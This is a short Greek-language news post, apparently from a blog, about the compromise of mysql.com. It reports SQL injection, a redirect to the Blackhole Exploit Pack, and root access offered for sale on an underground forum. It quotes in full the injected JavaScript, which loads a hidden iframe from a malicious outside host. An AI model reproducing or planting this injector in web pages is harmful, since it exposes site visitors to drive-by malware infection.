Έπεσε και το Mysql.com της Oracle και οι "Hackers" το έβγαλαν σε...δημοπρασία!

Μετά το linux.com και το kernel.org, σειρά είχε το mysql.com. Απο ότι φαίνεται μέσω της τεχνικής... Sql injection (!!)  κάποιος ή κάποιοι απέκτησαν πρόσβαση στο myql.com και πρόσθεσαν κώδικα java script ο οποίος κάνει ανακατεύθυνση τους επισκέπτες σε μια ιστοσελίδα μολυσμένη με το Blackhole Exploit Pack.  Πρόκειται για μια γνωστή συλλογή απο exploits που μέσω των browsers εγκαθιστούν malware στον υπολογιστή, εκτός αν ο χρήστης είναι ενημερωμένος με τις τελευταίες αναβαθμίσεις ασφαλείας (Java, Flash κλπ). 
Δεν έφτανε όμως αυτό αλλά είχαμε και μια απίστευτη εξέλιξη: Κάποιος με την ονομασία sourcec0de, σε  Ρωσικό Underground site, πρόσεφερε πρόσβαση Root στο mysql.com και τα subdomains του. Με το αζημιώτο φυσικά, αφού οι υπηρεσίες του ξεκινούσαν απο τα 3000$. Για να γίνει πιο πειστικός δημοσίευσε και screenshots που δείχνουν οτι είχε αποκτήσει shell access.



Διαφήμισε όμως και την.. "πραμάτεια" του, αφού όπως φαίνεται στο στιγμιότυπο υπενθύμησε στους ενδιαφερόμενους πως το mysql.com έχει περίπου 12 εκατομμύρια επισκέπτες το μήνα και 390.000 την ημέρα!  Αυτό φαίνεται να είναι και το επίμαχο script που προστέθηκε στο mysql.com:
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://falosfax.in/info/in.cgi?5' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://falosfax.in/info/in.cgi?5');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);

Μέχρι στιγμής η εταιρεία Oracle δεν έχει κάνει κάποια ανακοίνωση.

Πηγή